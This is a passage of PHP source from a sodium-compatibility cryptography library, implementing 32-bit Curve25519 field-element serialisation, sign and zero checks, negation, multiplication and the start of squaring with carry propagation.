        /** @var ParagonIE_Sodium_Core32_Int32 $h9 */
        $h9 = ParagonIE_Sodium_Core32_Int32::fromInt(
            (self::load_3(self::substr($s, 29, 3)) & 8388607) <<
2
        );

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt32($carry9->mulInt(19, 5));
        $h9 = $h9->subInt32($carry9->shiftLeft(25));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt32($carry1);
        $h1 = $h1->subInt32($carry1->shiftLeft(25));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt32($carry3);
        $h3 = $h3->subInt32($carry3->shiftLeft(25));

        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt32($carry5);
        $h5 = $h5->subInt32($carry5->shiftLeft(25));

        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt32($carry7);
        $h7 = $h7->subInt32($carry7->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt32($carry0);
        $h0 = $h0->subInt32($carry0->shiftLeft(26));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt32($carry2);
        $h2 = $h2->subInt32($carry2->shiftLeft(26));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt32($carry4);
        $h4 = $h4->subInt32($carry4->shiftLeft(26));

        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt32($carry6);
        $h6 = $h6->subInt32($carry6->shiftLeft(26));

        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt32($carry8);
        $h8 = $h8->subInt32($carry8->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array($h0, $h1, $h2,$h3, $h4, $h5, $h6, $h7, $h8, $h9)
        );
    }

    /**
     * Convert a field element to a byte string.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_tobytes(ParagonIE_Sodium_Core32_Curve25519_Fe
$h)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int64[] $f
         * @var ParagonIE_Sodium_Core32_Int64 $q
         */
        $f = array();

        for ($i = 0; $i < 10; ++$i) {
            $f[$i] = $h[$i]->toInt64();
        }

        $q = $f[9]->mulInt(19, 5)->addInt(1 <<
14)->shiftRight(25)
            ->addInt64($f[0])->shiftRight(26)
            ->addInt64($f[1])->shiftRight(25)
            ->addInt64($f[2])->shiftRight(26)
            ->addInt64($f[3])->shiftRight(25)
            ->addInt64($f[4])->shiftRight(26)
            ->addInt64($f[5])->shiftRight(25)
            ->addInt64($f[6])->shiftRight(26)
            ->addInt64($f[7])->shiftRight(25)
            ->addInt64($f[8])->shiftRight(26)
            ->addInt64($f[9])->shiftRight(25);

        $f[0] = $f[0]->addInt64($q->mulInt(19, 5));

        $carry0 = $f[0]->shiftRight(26);
        $f[1] = $f[1]->addInt64($carry0);
        $f[0] = $f[0]->subInt64($carry0->shiftLeft(26));

        $carry1 = $f[1]->shiftRight(25);
        $f[2] = $f[2]->addInt64($carry1);
        $f[1] = $f[1]->subInt64($carry1->shiftLeft(25));

        $carry2 = $f[2]->shiftRight(26);
        $f[3] = $f[3]->addInt64($carry2);
        $f[2] = $f[2]->subInt64($carry2->shiftLeft(26));

        $carry3 = $f[3]->shiftRight(25);
        $f[4] = $f[4]->addInt64($carry3);
        $f[3] = $f[3]->subInt64($carry3->shiftLeft(25));

        $carry4 = $f[4]->shiftRight(26);
        $f[5] = $f[5]->addInt64($carry4);
        $f[4] = $f[4]->subInt64($carry4->shiftLeft(26));

        $carry5 = $f[5]->shiftRight(25);
        $f[6] = $f[6]->addInt64($carry5);
        $f[5] = $f[5]->subInt64($carry5->shiftLeft(25));

        $carry6 = $f[6]->shiftRight(26);
        $f[7] = $f[7]->addInt64($carry6);
        $f[6] = $f[6]->subInt64($carry6->shiftLeft(26));

        $carry7 = $f[7]->shiftRight(25);
        $f[8] = $f[8]->addInt64($carry7);
        $f[7] = $f[7]->subInt64($carry7->shiftLeft(25));

        $carry8 = $f[8]->shiftRight(26);
        $f[9] = $f[9]->addInt64($carry8);
        $f[8] = $f[8]->subInt64($carry8->shiftLeft(26));

        $carry9 = $f[9]->shiftRight(25);
        $f[9] = $f[9]->subInt64($carry9->shiftLeft(25));

        /** @var int $h0 */
        $h0 = $f[0]->toInt32()->toInt();
        /** @var int $h1 */
        $h1 = $f[1]->toInt32()->toInt();
        /** @var int $h2 */
        $h2 = $f[2]->toInt32()->toInt();
        /** @var int $h3 */
        $h3 = $f[3]->toInt32()->toInt();
        /** @var int $h4 */
        $h4 = $f[4]->toInt32()->toInt();
        /** @var int $h5 */
        $h5 = $f[5]->toInt32()->toInt();
        /** @var int $h6 */
        $h6 = $f[6]->toInt32()->toInt();
        /** @var int $h7 */
        $h7 = $f[7]->toInt32()->toInt();
        /** @var int $h8 */
        $h8 = $f[8]->toInt32()->toInt();
        /** @var int $h9 */
        $h9 = $f[9]->toInt32()->toInt();

        /**
         * @var array<int, int>
         */
        $s = array(
            (int) (($h0 >> 0) & 0xff),
            (int) (($h0 >> 8) & 0xff),
            (int) (($h0 >> 16) & 0xff),
            (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff),
            (int) (($h1 >> 6) & 0xff),
            (int) (($h1 >> 14) & 0xff),
            (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff),
            (int) (($h2 >> 5) & 0xff),
            (int) (($h2 >> 13) & 0xff),
            (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff),
            (int) (($h3 >> 3) & 0xff),
            (int) (($h3 >> 11) & 0xff),
            (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff),
            (int) (($h4 >> 2) & 0xff),
            (int) (($h4 >> 10) & 0xff),
            (int) (($h4 >> 18) & 0xff),
            (int) (($h5 >> 0) & 0xff),
            (int) (($h5 >> 8) & 0xff),
            (int) (($h5 >> 16) & 0xff),
            (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff),
            (int) (($h6 >> 7) & 0xff),
            (int) (($h6 >> 15) & 0xff),
            (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff),
            (int) (($h7 >> 5) & 0xff),
            (int) (($h7 >> 13) & 0xff),
            (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff),
            (int) (($h8 >> 4) & 0xff),
            (int) (($h8 >> 12) & 0xff),
            (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff),
            (int) (($h9 >> 2) & 0xff),
            (int) (($h9 >> 10) & 0xff),
            (int) (($h9 >> 18) & 0xff)
        );
        return self::intArrayToString($s);
    }

    /**
     * Is a field element negative? (1 = yes, 0 = no. Used in
calculations.)
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
fe_isnegative(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $str = self::fe_tobytes($f);
        return (int) (self::chrToInt($str[0]) & 1);
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
fe_isnonzero(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        /** @var string $str */
        $str = self::fe_tobytes($f);
        /** @var string $zero */
        return !self::verify_32($str, $zero);
    }

    /**
     * Multiply two field elements
     *
     * h = f * g
     *
     * @internal You should not use this directly from another application
     *
     * @security Is multiplication a source of timing leaks? If so, can we
do
     *           anything to prevent that from happening?
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_mul(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g
    ) {
        /**
         * @var ParagonIE_Sodium_Core32_Int32[] $f
         * @var ParagonIE_Sodium_Core32_Int32[] $g
         * @var ParagonIE_Sodium_Core32_Int64 $f0
         * @var ParagonIE_Sodium_Core32_Int64 $f1
         * @var ParagonIE_Sodium_Core32_Int64 $f2
         * @var ParagonIE_Sodium_Core32_Int64 $f3
         * @var ParagonIE_Sodium_Core32_Int64 $f4
         * @var ParagonIE_Sodium_Core32_Int64 $f5
         * @var ParagonIE_Sodium_Core32_Int64 $f6
         * @var ParagonIE_Sodium_Core32_Int64 $f7
         * @var ParagonIE_Sodium_Core32_Int64 $f8
         * @var ParagonIE_Sodium_Core32_Int64 $f9
         * @var ParagonIE_Sodium_Core32_Int64 $g0
         * @var ParagonIE_Sodium_Core32_Int64 $g1
         * @var ParagonIE_Sodium_Core32_Int64 $g2
         * @var ParagonIE_Sodium_Core32_Int64 $g3
         * @var ParagonIE_Sodium_Core32_Int64 $g4
         * @var ParagonIE_Sodium_Core32_Int64 $g5
         * @var ParagonIE_Sodium_Core32_Int64 $g6
         * @var ParagonIE_Sodium_Core32_Int64 $g7
         * @var ParagonIE_Sodium_Core32_Int64 $g8
         * @var ParagonIE_Sodium_Core32_Int64 $g9
         */
        $f0 = $f[0]->toInt64();
        $f1 = $f[1]->toInt64();
        $f2 = $f[2]->toInt64();
        $f3 = $f[3]->toInt64();
        $f4 = $f[4]->toInt64();
        $f5 = $f[5]->toInt64();
        $f6 = $f[6]->toInt64();
        $f7 = $f[7]->toInt64();
        $f8 = $f[8]->toInt64();
        $f9 = $f[9]->toInt64();
        $g0 = $g[0]->toInt64();
        $g1 = $g[1]->toInt64();
        $g2 = $g[2]->toInt64();
        $g3 = $g[3]->toInt64();
        $g4 = $g[4]->toInt64();
        $g5 = $g[5]->toInt64();
        $g6 = $g[6]->toInt64();
        $g7 = $g[7]->toInt64();
        $g8 = $g[8]->toInt64();
        $g9 = $g[9]->toInt64();
        $g1_19 = $g1->mulInt(19, 5); /* 2^4 <= 19 <= 2^5, but we
only want 5 bits */
        $g2_19 = $g2->mulInt(19, 5);
        $g3_19 = $g3->mulInt(19, 5);
        $g4_19 = $g4->mulInt(19, 5);
        $g5_19 = $g5->mulInt(19, 5);
        $g6_19 = $g6->mulInt(19, 5);
        $g7_19 = $g7->mulInt(19, 5);
        $g8_19 = $g8->mulInt(19, 5);
        $g9_19 = $g9->mulInt(19, 5);
        /** @var ParagonIE_Sodium_Core32_Int64 $f1_2 */
        $f1_2 = $f1->shiftLeft(1);
        /** @var ParagonIE_Sodium_Core32_Int64 $f3_2 */
        $f3_2 = $f3->shiftLeft(1);
        /** @var ParagonIE_Sodium_Core32_Int64 $f5_2 */
        $f5_2 = $f5->shiftLeft(1);
        /** @var ParagonIE_Sodium_Core32_Int64 $f7_2 */
        $f7_2 = $f7->shiftLeft(1);
        /** @var ParagonIE_Sodium_Core32_Int64 $f9_2 */
        $f9_2 = $f9->shiftLeft(1);
        $f0g0    = $f0->mulInt64($g0, 27);
        $f0g1    = $f0->mulInt64($g1, 27);
        $f0g2    = $f0->mulInt64($g2, 27);
        $f0g3    = $f0->mulInt64($g3, 27);
        $f0g4    = $f0->mulInt64($g4, 27);
        $f0g5    = $f0->mulInt64($g5, 27);
        $f0g6    = $f0->mulInt64($g6, 27);
        $f0g7    = $f0->mulInt64($g7, 27);
        $f0g8    = $f0->mulInt64($g8, 27);
        $f0g9    = $f0->mulInt64($g9, 27);
        $f1g0    = $f1->mulInt64($g0, 27);
        $f1g1_2  = $f1_2->mulInt64($g1, 27);
        $f1g2    = $f1->mulInt64($g2, 27);
        $f1g3_2  = $f1_2->mulInt64($g3, 27);
        $f1g4    = $f1->mulInt64($g4, 30);
        $f1g5_2  = $f1_2->mulInt64($g5, 30);
        $f1g6    = $f1->mulInt64($g6, 30);
        $f1g7_2  = $f1_2->mulInt64($g7, 30);
        $f1g8    = $f1->mulInt64($g8, 30);
        $f1g9_38 = $g9_19->mulInt64($f1_2, 30);
        $f2g0    = $f2->mulInt64($g0, 30);
        $f2g1    = $f2->mulInt64($g1, 29);
        $f2g2    = $f2->mulInt64($g2, 30);
        $f2g3    = $f2->mulInt64($g3, 29);
        $f2g4    = $f2->mulInt64($g4, 30);
        $f2g5    = $f2->mulInt64($g5, 29);
        $f2g6    = $f2->mulInt64($g6, 30);
        $f2g7    = $f2->mulInt64($g7, 29);
        $f2g8_19 = $g8_19->mulInt64($f2, 30);
        $f2g9_19 = $g9_19->mulInt64($f2, 30);
        $f3g0    = $f3->mulInt64($g0, 30);
        $f3g1_2  = $f3_2->mulInt64($g1, 30);
        $f3g2    = $f3->mulInt64($g2, 30);
        $f3g3_2  = $f3_2->mulInt64($g3, 30);
        $f3g4    = $f3->mulInt64($g4, 30);
        $f3g5_2  = $f3_2->mulInt64($g5, 30);
        $f3g6    = $f3->mulInt64($g6, 30);
        $f3g7_38 = $g7_19->mulInt64($f3_2, 30);
        $f3g8_19 = $g8_19->mulInt64($f3, 30);
        $f3g9_38 = $g9_19->mulInt64($f3_2, 30);
        $f4g0    = $f4->mulInt64($g0, 30);
        $f4g1    = $f4->mulInt64($g1, 30);
        $f4g2    = $f4->mulInt64($g2, 30);
        $f4g3    = $f4->mulInt64($g3, 30);
        $f4g4    = $f4->mulInt64($g4, 30);
        $f4g5    = $f4->mulInt64($g5, 30);
        $f4g6_19 = $g6_19->mulInt64($f4, 30);
        $f4g7_19 = $g7_19->mulInt64($f4, 30);
        $f4g8_19 = $g8_19->mulInt64($f4, 30);
        $f4g9_19 = $g9_19->mulInt64($f4, 30);
        $f5g0    = $f5->mulInt64($g0, 30);
        $f5g1_2  = $f5_2->mulInt64($g1, 30);
        $f5g2    = $f5->mulInt64($g2, 30);
        $f5g3_2  = $f5_2->mulInt64($g3, 30);
        $f5g4    = $f5->mulInt64($g4, 30);
        $f5g5_38 = $g5_19->mulInt64($f5_2, 30);
        $f5g6_19 = $g6_19->mulInt64($f5, 30);
        $f5g7_38 = $g7_19->mulInt64($f5_2, 30);
        $f5g8_19 = $g8_19->mulInt64($f5, 30);
        $f5g9_38 = $g9_19->mulInt64($f5_2, 30);
        $f6g0    = $f6->mulInt64($g0, 30);
        $f6g1    = $f6->mulInt64($g1, 30);
        $f6g2    = $f6->mulInt64($g2, 30);
        $f6g3    = $f6->mulInt64($g3, 30);
        $f6g4_19 = $g4_19->mulInt64($f6, 30);
        $f6g5_19 = $g5_19->mulInt64($f6, 30);
        $f6g6_19 = $g6_19->mulInt64($f6, 30);
        $f6g7_19 = $g7_19->mulInt64($f6, 30);
        $f6g8_19 = $g8_19->mulInt64($f6, 30);
        $f6g9_19 = $g9_19->mulInt64($f6, 30);
        $f7g0    = $f7->mulInt64($g0, 30);
        $f7g1_2  = $g1->mulInt64($f7_2, 30);
        $f7g2    = $f7->mulInt64($g2, 30);
        $f7g3_38 = $g3_19->mulInt64($f7_2, 30);
        $f7g4_19 = $g4_19->mulInt64($f7, 30);
        $f7g5_38 = $g5_19->mulInt64($f7_2, 30);
        $f7g6_19 = $g6_19->mulInt64($f7, 30);
        $f7g7_38 = $g7_19->mulInt64($f7_2, 30);
        $f7g8_19 = $g8_19->mulInt64($f7, 30);
        $f7g9_38 = $g9_19->mulInt64($f7_2, 30);
        $f8g0    = $f8->mulInt64($g0, 30);
        $f8g1    = $f8->mulInt64($g1, 29);
        $f8g2_19 = $g2_19->mulInt64($f8, 30);
        $f8g3_19 = $g3_19->mulInt64($f8, 30);
        $f8g4_19 = $g4_19->mulInt64($f8, 30);
        $f8g5_19 = $g5_19->mulInt64($f8, 30);
        $f8g6_19 = $g6_19->mulInt64($f8, 30);
        $f8g7_19 = $g7_19->mulInt64($f8, 30);
        $f8g8_19 = $g8_19->mulInt64($f8, 30);
        $f8g9_19 = $g9_19->mulInt64($f8, 30);
        $f9g0    = $f9->mulInt64($g0, 30);
        $f9g1_38 = $g1_19->mulInt64($f9_2, 30);
        $f9g2_19 = $g2_19->mulInt64($f9, 30);
        $f9g3_38 = $g3_19->mulInt64($f9_2, 30);
        $f9g4_19 = $g4_19->mulInt64($f9, 30);
        $f9g5_38 = $g5_19->mulInt64($f9_2, 30);
        $f9g6_19 = $g6_19->mulInt64($f9, 30);
        $f9g7_38 = $g7_19->mulInt64($f9_2, 30);
        $f9g8_19 = $g8_19->mulInt64($f9, 30);
        $f9g9_38 = $g9_19->mulInt64($f9_2, 30);

        // $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 +
$f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38;
        $h0 =
$f0g0->addInt64($f1g9_38)->addInt64($f2g8_19)->addInt64($f3g7_38)
           
->addInt64($f4g6_19)->addInt64($f5g5_38)->addInt64($f6g4_19)
           
->addInt64($f7g3_38)->addInt64($f8g2_19)->addInt64($f9g1_38);

        // $h1 = $f0g1 + $f1g0    + $f2g9_19 + $f3g8_19 + $f4g7_19 +
$f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19;
        $h1 =
$f0g1->addInt64($f1g0)->addInt64($f2g9_19)->addInt64($f3g8_19)
           
->addInt64($f4g7_19)->addInt64($f5g6_19)->addInt64($f6g5_19)
           
->addInt64($f7g4_19)->addInt64($f8g3_19)->addInt64($f9g2_19);

        // $h2 = $f0g2 + $f1g1_2  + $f2g0    + $f3g9_38 + $f4g8_19 +
$f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38;
        $h2 =
$f0g2->addInt64($f1g1_2)->addInt64($f2g0)->addInt64($f3g9_38)
           
->addInt64($f4g8_19)->addInt64($f5g7_38)->addInt64($f6g6_19)
           
->addInt64($f7g5_38)->addInt64($f8g4_19)->addInt64($f9g3_38);

        // $h3 = $f0g3 + $f1g2    + $f2g1    + $f3g0    + $f4g9_19 +
$f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
        $h3 =
$f0g3->addInt64($f1g2)->addInt64($f2g1)->addInt64($f3g0)
           
->addInt64($f4g9_19)->addInt64($f5g8_19)->addInt64($f6g7_19)
           
->addInt64($f7g6_19)->addInt64($f8g5_19)->addInt64($f9g4_19);

        // $h4 = $f0g4 + $f1g3_2  + $f2g2    + $f3g1_2  + $f4g0    +
$f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38;
        $h4 =
$f0g4->addInt64($f1g3_2)->addInt64($f2g2)->addInt64($f3g1_2)
           
->addInt64($f4g0)->addInt64($f5g9_38)->addInt64($f6g8_19)
           
->addInt64($f7g7_38)->addInt64($f8g6_19)->addInt64($f9g5_38);

        // $h5 = $f0g5 + $f1g4    + $f2g3    + $f3g2    + $f4g1    + $f5g0 
  + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19;
        $h5 =
$f0g5->addInt64($f1g4)->addInt64($f2g3)->addInt64($f3g2)
            ->addInt64($f4g1)->addInt64($f5g0)->addInt64($f6g9_19)
           
->addInt64($f7g8_19)->addInt64($f8g7_19)->addInt64($f9g6_19);

        // $h6 = $f0g6 + $f1g5_2  + $f2g4    + $f3g3_2  + $f4g2    +
$f5g1_2  + $f6g0    + $f7g9_38 + $f8g8_19 + $f9g7_38;
        $h6 =
$f0g6->addInt64($f1g5_2)->addInt64($f2g4)->addInt64($f3g3_2)
            ->addInt64($f4g2)->addInt64($f5g1_2)->addInt64($f6g0)
           
->addInt64($f7g9_38)->addInt64($f8g8_19)->addInt64($f9g7_38);

        // $h7 = $f0g7 + $f1g6    + $f2g5    + $f3g4    + $f4g3    + $f5g2 
  + $f6g1    + $f7g0    + $f8g9_19 + $f9g8_19;
        $h7 =
$f0g7->addInt64($f1g6)->addInt64($f2g5)->addInt64($f3g4)
            ->addInt64($f4g3)->addInt64($f5g2)->addInt64($f6g1)
           
->addInt64($f7g0)->addInt64($f8g9_19)->addInt64($f9g8_19);

        // $h8 = $f0g8 + $f1g7_2  + $f2g6    + $f3g5_2  + $f4g4    +
$f5g3_2  + $f6g2    + $f7g1_2  + $f8g0    + $f9g9_38;
        $h8 =
$f0g8->addInt64($f1g7_2)->addInt64($f2g6)->addInt64($f3g5_2)
            ->addInt64($f4g4)->addInt64($f5g3_2)->addInt64($f6g2)
           
->addInt64($f7g1_2)->addInt64($f8g0)->addInt64($f9g9_38);

        // $h9 = $f0g9 + $f1g8    + $f2g7    + $f3g6    + $f4g5    + $f5g4 
  + $f6g3    + $f7g2    + $f8g1    + $f9g0   ;
        $h9 =
$f0g9->addInt64($f1g8)->addInt64($f2g7)->addInt64($f3g6)
            ->addInt64($f4g5)->addInt64($f5g4)->addInt64($f6g3)
            ->addInt64($f7g2)->addInt64($f8g1)->addInt64($f9g0);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         * @var ParagonIE_Sodium_Core32_Int64 $carry0
         * @var ParagonIE_Sodium_Core32_Int64 $carry1
         * @var ParagonIE_Sodium_Core32_Int64 $carry2
         * @var ParagonIE_Sodium_Core32_Int64 $carry3
         * @var ParagonIE_Sodium_Core32_Int64 $carry4
         * @var ParagonIE_Sodium_Core32_Int64 $carry5
         * @var ParagonIE_Sodium_Core32_Int64 $carry6
         * @var ParagonIE_Sodium_Core32_Int64 $carry7
         * @var ParagonIE_Sodium_Core32_Int64 $carry8
         * @var ParagonIE_Sodium_Core32_Int64 $carry9
         */
        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));
        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));
        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));
        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));
        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));
        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * Get the negative values for each piece of the field element.
     *
     * h = -f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_neg(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $h = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $h[$i]->subInt32($f[$i]);
        }
        return $h;
    }

    /**
     * Square a field element
     *
     * h = f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_sq(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        /** @var ParagonIE_Sodium_Core32_Int64 $f0 */
        $f0 = $f[0]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f1 */
        $f1 = $f[1]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f2 */
        $f2 = $f[2]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f3 */
        $f3 = $f[3]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f4 */
        $f4 = $f[4]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f5 */
        $f5 = $f[5]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f6 */
        $f6 = $f[6]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f7 */
        $f7 = $f[7]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f8 */
        $f8 = $f[8]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f9 */
        $f9 = $f[9]->toInt64();

        /** @var ParagonIE_Sodium_Core32_Int64 $f0_2 */
        $f0_2 = $f0->shiftLeft(1);
        $f1_2 = $f1->shiftLeft(1);
        $f2_2 = $f2->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f4_2 = $f4->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f6_2 = $f6->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f5_38 = $f5->mulInt(38, 6);
        $f6_19 = $f6->mulInt(19, 5);
        $f7_38 = $f7->mulInt(38, 6);
        $f8_19 = $f8->mulInt(19, 5);
        $f9_38 = $f9->mulInt(38, 6);
        /** @var ParagonIE_Sodium_Core32_Int64 $f0f0*/
        $f0f0    = $f0->mulInt64($f0, 28);
        $f0f1_2  = $f0_2->mulInt64($f1, 28);
        $f0f2_2 =  $f0_2->mulInt64($f2, 28);
        $f0f3_2 =  $f0_2->mulInt64($f3, 28);
        $f0f4_2 =  $f0_2->mulInt64($f4, 28);
        $f0f5_2 =  $f0_2->mulInt64($f5, 28);
        $f0f6_2 =  $f0_2->mulInt64($f6, 28);
        $f0f7_2 =  $f0_2->mulInt64($f7, 28);
        $f0f8_2 =  $f0_2->mulInt64($f8, 28);
        $f0f9_2 =  $f0_2->mulInt64($f9, 28);

        $f1f1_2 = $f1_2->mulInt64($f1, 28);
        $f1f2_2 = $f1_2->mulInt64($f2, 28);
        $f1f3_4 = $f1_2->mulInt64($f3_2, 28);
        $f1f4_2 = $f1_2->mulInt64($f4, 28);
        $f1f5_4 = $f1_2->mulInt64($f5_2, 30);
        $f1f6_2 = $f1_2->mulInt64($f6, 28);
        $f1f7_4 = $f1_2->mulInt64($f7_2, 28);
        $f1f8_2 = $f1_2->mulInt64($f8, 28);
        $f1f9_76 = $f9_38->mulInt64($f1_2, 30);

        $f2f2 = $f2->mulInt64($f2, 28);
        $f2f3_2 = $f2_2->mulInt64($f3, 28);
        $f2f4_2 = $f2_2->mulInt64($f4, 28);
        $f2f5_2 = $f2_2->mulInt64($f5, 28);
        $f2f6_2 = $f2_2->mulInt64($f6, 28);
        $f2f7_2 = $f2_2->mulInt64($f7, 28);
        $f2f8_38 = $f8_19->mulInt64($f2_2, 30);
        $f2f9_38 = $f9_38->mulInt64($f2, 30);

        $f3f3_2 = $f3_2->mulInt64($f3, 28);
        $f3f4_2 = $f3_2->mulInt64($f4, 28);
        $f3f5_4 = $f3_2->mulInt64($f5_2, 30);
        $f3f6_2 = $f3_2->mulInt64($f6, 28);
        $f3f7_76 = $f7_38->mulInt64($f3_2, 30);
        $f3f8_38 = $f8_19->mulInt64($f3_2, 30);
        $f3f9_76 = $f9_38->mulInt64($f3_2, 30);

        $f4f4 = $f4->mulInt64($f4, 28);
        $f4f5_2 = $f4_2->mulInt64($f5, 28);
        $f4f6_38 = $f6_19->mulInt64($f4_2, 30);
        $f4f7_38 = $f7_38->mulInt64($f4, 30);
        $f4f8_38 = $f8_19->mulInt64($f4_2, 30);
        $f4f9_38 = $f9_38->mulInt64($f4, 30);

        $f5f5_38 = $f5_38->mulInt64($f5, 30);
        $f5f6_38 = $f6_19->mulInt64($f5_2, 30);
        $f5f7_76 = $f7_38->mulInt64($f5_2, 30);
